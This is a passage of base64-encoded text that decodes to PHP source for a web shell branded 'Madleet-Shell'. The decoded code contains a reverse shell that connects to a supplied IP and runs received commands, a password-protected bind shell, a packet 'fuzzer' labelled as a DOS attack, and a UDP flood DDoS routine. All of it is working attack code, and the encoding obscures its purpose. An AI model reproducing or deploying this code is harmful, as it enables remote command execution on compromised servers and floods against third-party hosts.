wJ107ICAKICAgICAgICAkcG9ydD0kX1BPU1RbJ3BvcnQnXTsgIAogICAgICAgICRzb2NrZmQ9ZnNvY2tvcGVuKCRpcCAsICRwb3J0ICwgJGVycm5vLCAkZXJyc3RyICk7ICAKICAgICAgICBpZigkZXJybm8gIT0gMCkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPGZvbnQgY29sb3I9J3JlZCc+PGI+JGVycm5vPC9iPiA6ICRlcnJzdHI8L2ZvbnQ+IjsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIGlmICghJHNvY2tmZCkgCiAgICAgICAgeyAgCiAgICAgICAgICAgICAgICRyZXN1bHQgPSAiPHA+RmF0YWwgOiBBbiB1bmV4cGVjdGVkIGVycm9yIHdhcyBvY2N1cmVkIHdoZW4gdHJ5aW5nIHRvIGNvbm5lY3QhPC9wPiI7IAogICAgICAgIH0gIAogICAgICAgIGVsc2UgCiAgICAgICAgeyAgCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuTWFkbGVldC1TaGVsbCB8IEMwZDNkIGJ5IE1hZGxlZXQgfCBQYWtpc3Rhbmlcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IAogICAgICAgICAkcHdkID0gZXhlY19hbGwoInB3ZCIpOyAKICAgICAgICAgJHN5c2luZm8gPSBleGVjX2FsbCgidW5hbWUgLWEiKTsgCiAgICAgICAgICRpZCA9IGV4ZWNfYWxsKCJpZCIpOyAKICAgICAgICAgJGRhdGVBbmRUaW1lID0gZXhlY19hbGwoInRpbWUgL3QgJiBkYXRlIC9UIik7IAogICAgICAgICAkbGVuID0gMTMzNzsgCiAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCRzeXNpbmZvIC4gIlxuIiApOyAKICAgICAgICAgZnB1dHMoJHNvY2tmZCAsJHB3ZCAuICJcbiIgKTsgCiAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCRpZCAuIlxuXG4iICk7IAogICAgICAgICBmcHV0cygkc29ja2ZkICwkZGF0ZUFuZFRpbWUuIlxuXG4iICk7IAogICAgICAgICB3aGlsZSghZmVvZigkc29ja2ZkKSkgCiAgICAgICAgIHsgICAKICAgICAgICAgICAgJGNtZFByb21wdCA9IihNYWRsZWV0LVNoZWxsKVskXT4gIjsgCiAgICAgICAgICAgIGZwdXRzICgkc29ja2ZkICwgJGNtZFByb21wdCApOyAgCiAgICAgICAgICAgICRjb21tYW5kPSBmZ2V0cygkc29ja2ZkLCAkbGVuKTsgCiAgICAgICAgICAgIGZwdXRzKCRzb2NrZmQgLCAiXG4iIC4gZXhlY19hbGwoJGNvbW1hbmQpIC4gIlxuXG4iKTsgCiAgICAgICAgfSAgCiAgICAgICAgZmNsb3NlKCRzb2NrZmQpOyAgCiAgICAgICAgfSAgCiAgICB9IAogICAgZWxzZSBpZiggCiAgICBpc3NldCgkX1BPU1RbJ3BvcnQnXSkgJiYgCiAgICBpc3NldCgkX1BPU1RbJ3Bhc3N3ZCddKSAmJiAgCiAgICAkX1BPU1RbJ3BvcnQnXSAhPSAiIiAmJiAKICAgICRfUE9TVFsncGFzc3dkJ10gIT0gIiIgICkgCiAgICB7IAogICAgICAgIC8vIFNldCB0aW1lIGxpbWl0IHRvIGluZGVmaW5pdGUgZXhlY3V0aW9uIAogICAgICAgIHNldF90aW1lX2xpbWl0ICgwKTsgCiAgICAgICAgIAogICAgICAgICAKICAgICAgICAvLyBTZXQgdGhlIGlwIGFuZCBwb3J0IHdlIHdpbGwgbGlzdGVuIG9uIAogICAgICAgICRhZGRyZXNzID0gJzEyNy4wLjAuMSc7IAogICAgICAgICRwb3J0ID0gJF9QT1NUWydwb3J0J107IAogICAgICAgICRwYXNzID0gJF9QT1NUWydwYXNzd2QnXTsgCgogICAgICAgIGlmKGZ1bmN0aW9uX2V4aXN0cygic29ja2V0X2NyZWF0ZSIpKSAKICAgICAgICB7IAogICAgICAgIC8vIENyZWF0ZSBhIFRDUCBTdHJlYW0gc29ja2V0IAogICAgICAgICRzb2NrZmQgPSBzb2NrZXRfY3JlYXRlKEFGX0lORVQsIFNPQ0tfU1RSRUFNLCBTT0xfVENQKTsgCgogICAgICAgCiAgICAgICAgLy8gQmluZCB0aGUgc29ja2V0IHRvIGFuIGFkZHJlc3MvcG9ydCAKICAgICAgICAgCiAgICAgICAgIAogICAgICAgIGlmKHNvY2tldF9iaW5kKCRzb2NrZmQsICRhZGRyZXNzLCAkcG9ydCkgPT0gRkFMU0UpIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIkNhbnQgQmluZCB0byB0aGUgc3BlY2lmaWVkIHBvcnQgYW5kIGFkZHJlc3MhIjsgCiAgICAgICAgfSAKICAgICAgICAvLyBTdGFydCBsaXN0ZW5pbmcgZm9yIGNvbm5lY3Rpb25zIAogICAgICAgIHNvY2tldF9saXN0ZW4oJHNvY2tmZCwxNSk7IAogICAgICAgICAKICAgICAKICAgICAgICAkcGFzc3dvcmRQcm9tcHQgPSAiXG49PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuTWFkbGVldC1TaGVsbCB8IEMwZDNkIGJ5IE1hZGxlZXQgfCBQYWtpc3Rhbmlcbj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09XG5cbjB4UGFzc3dvcmQgOiAiOyAKICAgICAgICAgCiAgICAgICAgLyogQWNjZXB0IGluY29taW5nIHJlcXVlc3RzIGFuZCBoYW5kbGUgdGhlbSBhcyBjaGlsZCBwcm9jZXNzZXMgKi8gCiAgICAgICAgJGNsaWVudCA9IHNvY2tldF9hY2NlcHQoJHNvY2tmZCk7IAogICAgICAgICAKCiAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAkcGFzc3dvcmRQcm9tcHQpOyAKICAgICAgICAvLyBSZWFkIHRoZSBwYXNzIGZyb20gdGhlIGNsaWVudCAKICAgICAgICAkaW5wdXQgPSBzb2NrZXRfcmVhZCgkY2xpZW50LCBzdHJsZW4oJHBhc3MpICsgMik7IC8vICsyIGZvciBcclxuIAogICAgICAgIGlmKHRyaW0oJGlucHV0KSA9PSAkcGFzcykgCiAgICAgICAgeyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAiXG5cbiIpOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCAoJG9zID09ICJXaW5kb3dzIikgPyBleGVjX2FsbCgiZGF0ZSAvdCAmIHRpbWUgL3QiKSAgLiAiXG4iIC4gZXhlY19hbGwoInZlciIpIDogZXhlY19hbGwoImRhdGUiKSAuICJcbiIgLiBleGVjX2FsbCgidW5hbWUgLWEiKSk7IAogICAgICAgICAgICBzb2NrZXRfd3JpdGUoJGNsaWVudCAsICJcblxuIik7IAogICAgICAgICAgICB3aGlsZSgxKSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIC8vIFByaW50IENvbW1hbmQgcHJvbXB0IAogICAgICAgICAgICAgICAgJGNvbW1hbmRQcm9tcHQgPSIoTWFkbGVldC1TaGVsbClbJF0+ICI7IAogICAgICAgICAgICAgICAgJG1heENtZExlbiA9IDMxMzM3OyAKICAgICAgICAgICAgICAgIHNvY2tldF93cml0ZSgkY2xpZW50LCRjb21tYW5kUHJvbXB0KTsgCiAgICAgICAgICAgICAgICAkY21kID0gc29ja2V0X3JlYWQoJGNsaWVudCwkbWF4Q21kTGVuKTsgCiAgICAgICAgICAgICAgICBpZigkY21kID09IEZBTFNFKSAKICAgICAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAgICAgZWNobyAiVGhlIGNsaWVudCBDbG9zZWQgdGhlIGNvbmVjdGlvbiEiOyAKICAgICAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgICAgICB9IAogICAgICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQgLCBleGVjX2FsbCgkY21kKSk7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWxzZSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICJXcm9uZyBQYXNzd29yZCEiOyAKICAgICAgICAgICAgc29ja2V0X3dyaXRlKCRjbGllbnQsICJzVSh8PCAtIDBGRiBCaXRjaCFcblxuIik7IAogICAgICAgIH0gCiAgICAgICAgc29ja2V0X3NodXRkb3duKCRjbGllbnQsIDIpOyAKICAgICAgICBzb2NrZXRfY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAKICAgICAgICAvLyBDbG9zZSB0aGUgY2xpZW50IChjaGlsZCkgc29ja2V0IAogICAgICAgIC8vc29ja2V0X2Nsb3NlKCRjbGllbnQpOyAKICAgICAgICAvLyBDbG9zZSB0aGUgbWFzdGVyIHNvY2tldHMgCiAgICAgICAgLy9zb2NrZXRfY2xvc2UoJHNvY2spOyAKICAgICAgICB9IAogICAgICAgIGVsc2UgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiU29ja2V0IENvbmVjdGlvbnMgbm90IEFsbG93ZWQvU3VwcG9ydGVkIGJ5IHRoZSBzZXJ2ZXIhIDxiciAvPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICA/PiAgICAgICAgCiAgICA8dGFibGUgY2xhc3M9ImJpbmQiIGFsaWduPSJjZW50ZXIiID4gCiAgICA8dHI+IAogICAgICAgIDx0aCBjbGFzcz0iaGVhZGVyIiBjb2xzcGFuPSIxIiB3aWR0aD0iNTBweCI+QmFjayBDb25uZWN0PC90aD4gCiAgICAgICAgPHRoIGNsYXNzPSJoZWFkZXIiIGNvbHNwYW49IjEiIHdpZHRoPSI1MHB4Ij5CaW5kIFNoZWxsPC90aD4gCiAgICA8L3RyPiAKICAgIDx0cj4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSdQT1NUJyA+ICAgCiAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgIDx0YWJsZSBzdHlsZT0iYm9yZGVyLXNwYWNpbmc6IDZweDsiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkPklQIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0iaXAiIHZhbHVlPSI8P3BocCBnZXRDbGllbnRJcCgpOz8+IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydCA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDogMTAwcHg7IiBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiBzaXplPSc1JyB2YWx1ZT0iMzEzMzciLz4mbmJzcDsmbmJzcDs8aW5wdXQgc3R5bGU9IndpZHRoOiA5MHB4OyIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCEiLz48L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAKICAgICAgICAgPC90ZD4gCiAgICAgICAgIDwvZm9ybT4gIAogICAgICAgICA8Zm9ybSBtZXRob2Q9IlBPU1QiPiAKICAgICAgICAgPHRkPiAKICAgICAgICAgICAgPHRhYmxlIHN0eWxlPSJib3JkZXItc3BhY2luZzogNnB4OyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UG9ydDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDIwMHB4OyIgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjMxMzM3IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+UGFzc3dkIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOiAxMDBweDsiIGNsYXNzPSJjbWQiIG5hbWU9InBhc3N3ZCIgc2l6ZT0nNScgdmFsdWU9Ik1hZGxlZXQiLz4mbmJzcDsmbmJzcDs8aW5wdXQgc3R5bGU9IndpZHRoOiA5MHB4OyIgY2xhc3M9Im93biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iQmluZCA6RCEiLz48L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAKICAgICAgICAgPC90ZD4gCiAgICAgICAgIDwvZm9ybT4gCiAgICA8L3RyPiAKICAgIDwvdGFibGU+IAogICAgPHAgYWxpZ249ImNlbnRlciIgc3R5bGU9ImNvbG9yOiByZWQ7IiA+Tm90ZSA6IEFmdGVyIGNsaWNraW5nIFN1Ym1pdCBidXR0b24gLCBUaGUgYnJvd3NlciB3aWxsIHN0YXJ0IGxvYWRpbmcgY29udGludW91c2x5ICwgRG9udCBjbG9zZSB0aGlzIHdpbmRvdyAsIFVubGVzcyB5b3UgYXJlIGRvbmUhPC9wPiAKPD9waHAgCiAgICB9IAp9IAoKLy9mdXp6ZXIgCgplbHNlIGlmKGlzc2V0KCRfR0VUWydmdXp6J10pKSAKeyAKICAgIGlmKGlzc2V0KCRfR0VUWydpcCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydwb3J0J10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3RpbWVzJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3RpbWUnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsnbWVzc2FnZSddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydtZXNzYWdlTXVsdGlwbGllciddKSAmJiAKICAgICRfR0VUWydtZXNzYWdlJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsndGltZSddICE9ICIiICYmIAogICAgJF9HRVRbJ3RpbWVzJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsncG9ydCddICE9ICIiICYmIAogICAgJF9HRVRbJ2lwJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsnbWVzc2FnZU11bHRpcGxpZXInXSAhPSAiIiAKICAgICkgCiAgICB7IAogICAgICAgJElQPSRfR0VUWydpcCddOyAKICAgICAgICRwb3J0PSRfR0VUWydwb3J0J107IAogICAgICAgJHRpbWVzID0gJF9HRVRbJ3RpbWVzJ107IAogICAgICAgJHRpbWVvdXQgPSAkX0dFVFsndGltZSddOyAKICAgICAgICRzZW5kID0gMDsgCiAgICAgICAkZW5kaW5nID0gIiI7IAogICAgICAgJG11bHRpcGxpZXIgPSAkX0dFVFsnbWVzc2FnZU11bHRpcGxpZXInXTsgCiAgICAgICAkZGF0YSA9ICIiOyAKICAgICAgICRtb2RlPSJ0Y3AiOyAKICAgICAgICRkYXRhIC49ICJHRVQgLyI7IAogICAgICAgJGVuZGluZyAuPSAiIEhUVFAvMS4xXG5cclxuXHJcblxyXG5cciI7IAogICAgICAgIGlmKCRfR0VUWyd0eXBlJ10gPT0gInRjcCIpIAogICAgICAgIHsgCiAgICAgICAgICAgICRtb2RlID0gInRjcCI7IAogICAgICAgIH0gCiAgICAgICAgd2hpbGUoJG11bHRpcGxpZXItLSkgCiAgICAgICAgeyAKICAgICAgICAgICAgJGRhdGEgLj0gdXJsZW5jb2RlKCRfR0VUWydtZXNzYWdlJ10pOyAKICAgICAgICB9IAogICAgICAgICRkYXRhIC49ICIlcyVzJXMlcyVkJXglYyVuJW4lbiVuIjsvLyBhZGQgc29tZSBmb3JtYXQgc3RyaW5nIHNwZWNpZmllcnMgCiAgICAgICAgJGRhdGEgLj0gImJ5LU1hZGxlZXQtc2hlbGwiLiRlbmRpbmc7IAogICAgICAgICRsZW5ndGggPSBzdHJsZW4oJGRhdGEpOyAKICAgICAgICAgCiAgICAgICAgIAogICAgICAgZWNobyAiU2VuZGluZyBEYXRhIDotIDxiciAvPiA8cCBhbGlnbj0nY2VudGVyJz4kZGF0YTwvcD4iOyAKICAgICAgICAgCiAgICAgICBwcmludCAiSSBhbSBhdCBtYSBXb3JrIG5vdyA6RCA7RCEgRG9udCBjbG9zZSB0aGlzIHdpbmRvdyB1bnRpbGwgeW91IHJlY2lldmUgYSBtZXNzYWdlIDxicj4iOyAKICAgICAgIGZvcigkaT0wOyRpPCR0aW1lczskaSsrKSAKICAgICAgIHsgCiAgICAgICAgICAgICRzb2NrZXQgPSBmc29ja29wZW4oIiRtb2RlOi8vJElQIiwgJHBvcnQsICRlcnJvciwgJGVycm9yU3RyaW5nLCAkdGltZW91dCk7IAogICAgICAgICAgICBpZigkc29ja2V0KSAKICAgICAgICAgICAgeyAKICAgICAgICAgICAgICAgIGZ3cml0ZSgkc29ja2V0ICwgJGRhdGEgLCAkbGVuZ3RoICk7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOyAKICAgICAgICAgICAgfSAKICAgICAgICB9IAogICAgICAgIGVjaG8gIjxzY3JpcHQ+YWxlcnQoJ0Z1enppbmcgQ29tcGxldGVkIScpOzwvc2NyaXB0PiI7IAogICAgICAgIGVjaG8gIkRPUyBhdHRhY2sgYWdhaW5zdCAkbW9kZTovLyRJUDokcG9ydCBjb21wbGV0ZWQgb24gIi5kYXRlKCJoOmk6cyBBIikuIjxiciAvPiI7IAogICAgICAgIGVjaG8gIlRvdGFsIE51bWJlciBvZiBQYWNrZXRzIFNlbnQgOiAiIC4gJHRpbWVzIC4gIjxiciAvPiI7IAogICAgICAgIGVjaG8gIlRvdGFsIERhdGEgU2VudCA9ICIuIEh1bWFuUmVhZGFibGVGaWxlc2l6ZSgkdGltZXMqJGxlbmd0aCkgLiAiPGJyIC8+IjsgIAogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJGxlbmd0aCkgLiAiPGJyIC8+IjsgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZnV6eiIgLz4gCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQwMCIgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIElQIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJpcCIgdmFsdWU9IjEyNy4wLjAuMSIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnMTI3LjAuMC4xJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzEyNy4wLjAuMSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgUG9ydCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0icG9ydCIgdmFsdWU9IjgwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc4MCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSc4MCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgVGltZW91dCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZSIgdmFsdWU9IjUiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzUnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nNSc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTm8gb2YgdGltZXMgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InRpbWVzIiB2YWx1ZT0iMTAwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMDAnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTAwJzsiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTWVzc2FnZSA8Zm9udCBjb2xvcj0icmVkIj4oVGhlIG1lc3NhZ2UgU2hvdWxkIGJlIGxvbmcgYW5kIGl0IHdpbGwgYmUgbXVsdGlwbGllZCB3aXRoIHRoZSB2YWx1ZSBhZnRlciBpdCk8L2ZvbnQ+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJtZXNzYWdlIiB2YWx1ZT0iJVMleC0tU29tZSBHYXJiYWdlIGhlcmUgLS0leCVTIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICclUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nJVMleC0tU29tZSBHYXJiYWdlIGhlcmUgLS0leCVTJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgeCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0id2lkdGg6IDMwcHg7IiBjbGFzcz0iY21kIiBuYW1lPSJtZXNzYWdlTXVsdGlwbGllciIgdmFsdWU9IjEwIiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgcm93c3Bhbj0iMiI+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9Im1hcmdpbiA6IDIwcHg7IG1hcmdpbi1sZWZ0OiA1MDBweDsgcGFkZGluZyA6IDEwcHg7IHdpZHRoOiAxMDBweDsiIHR5cGU9InN1Ym1pdCIgY2xhc3M9Im93biIgdmFsdWU9IkxldCBpdCBSaXAhIDpEIi8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgIDwvdGFibGU+ICAgICAgICAgICAgIAogICAgICAgIDwvZm9ybT4gCiAgICAgICAgPD9waHAgCiAgICB9IAp9IAoKCi8vRERvcyAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2RvcyddKSkgCnsgCiAgICBpZihpc3NldCgkX0dFVFsnaXAnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsnZXhUaW1lJ10pICYmIAogICAgaXNzZXQoJF9HRVRbJ3BvcnQnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsndGltZW91dCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsncG9ydCddICE9ICIiICYmIAogICAgJF9HRVRbJ2lwJ10gIT0gIiIgJiYgCiAgICAkX0dFVFsndGltZW91dCddICE9ICIiICYmIAogICAgJF9HRVRbJ2V4VGltZSddICE9ICIiIAogICAgKSAKICAgIHsgCiAgICAgICAkSVA9JF9HRVRbJ2lwJ107IAogICAgICAgJHBvcnQ9JF9HRVRbJ3BvcnQnXTsgCiAgICAgICAkZXhlY3V0aW9uVGltZSA9ICRfR0VUWydleFRpbWUnXTsgCiAgICAgICAkbm9PZkJ5dGVzID0gJF9HRVRbJ25vT2ZCeXRlcyddOyAKICAgICAgICRkYXRhID0gIiI7IAogICAgICAgJHRpbWVvdXQgPSAkX0dFVFsndGltZW91dCddOyAKICAgICAgICRwYWNrZXRzID0gMDsgCiAgICAgICAkY291bnRlciA9ICRub09mQnl0ZXM7IAogICAgICAgJG1heFRpbWUgPSB0aW1lKCkgKyAkZXhlY3V0aW9uVGltZTs7IAogICAgICAgd2hpbGUoJGNvdW50ZXItLSkgCiAgICAgICB7IAogICAgICAgICAgICAkZGF0YSAuPSAiWCI7IAogICAgICAgfSAKICAgICAgICRkYXRhIC49ICItYnktTWFkbGVldC1TaGVsbCI7ICAKICAgICAgIHByaW50ICJJIGFtIGF0IG1hIFdvcmsgbm93IDpEIDtEISBEb250IGNsb3NlIHRoaXMgd2luZG93IHVudGlsbCB5b3UgcmVjaWV2ZSBhIG1lc3NhZ2UgPGJyPiI7IAogICAgICAgIAogICAgICAgd2hpbGUoMSkgCiAgICAgICB7IAogICAgICAgICAgICAkc29ja2V0ID0gZnNvY2tvcGVuKCJ1ZHA6Ly8kSVAiLCAkcG9ydCwgJGVycm9yLCAkZXJyb3JTdHJpbmcsICR0aW1lb3V0KTsgCiAgICAgICAgICAgIGlmKCRzb2NrZXQpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgZndyaXRlKCRzb2NrZXQgLCAkZGF0YSk7IAogICAgICAgICAgICAgICAgZmNsb3NlKCRzb2NrZXQpOyAKICAgICAgICAgICAgICAgICRwYWNrZXRzKys7IAogICAgICAgICAgICB9IAogICAgICAgICAgICBpZih0aW1lKCkgPj0gJG1heFRpbWUpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgYnJlYWs7IAogICAgICAgICAgICB9IAogICAgICAgIH0gCiAgICAgICAgZWNobyAiPHNjcmlwdD5hbGVydCgnRERvcyBDb21wbGV0ZWQhJyk7PC9zY3JpcHQ+IjsgCiAgICAgICAgZWNobyAiRE9TIGF0dGFjayBhZ2FpbnN0IHVkcDovLyRJUDokcG9ydCBjb21wbGV0ZWQgb24gIi5kYXRlKCJoOmk6cyBBIikuIjxiciAvPiI7IAogICAgICAgIGVjaG8gIlRvdGFsIE51bWJlciBvZiBQYWNrZXRzIFNlbnQgOiAiIC4gJHBhY2tldHMgLiAiPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgRGF0YSBTZW50ID0gIi4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRwYWNrZXRzKiRub09mQnl0ZXMpIC4gIjxiciAvPiI7ICAKICAgICAgICBlY2hvICJEYXRhIHBlciBwYWNrZXQgPSAiIC4gSHVtYW5SZWFkYWJsZUZpbGVzaXplKCRub09mQnl0ZXMpIC4gIjxiciAvPiI7IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImRvcyIgLz4gCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjQwMCIgY2xhc3M9InRpdGxlIj4gCiAgIC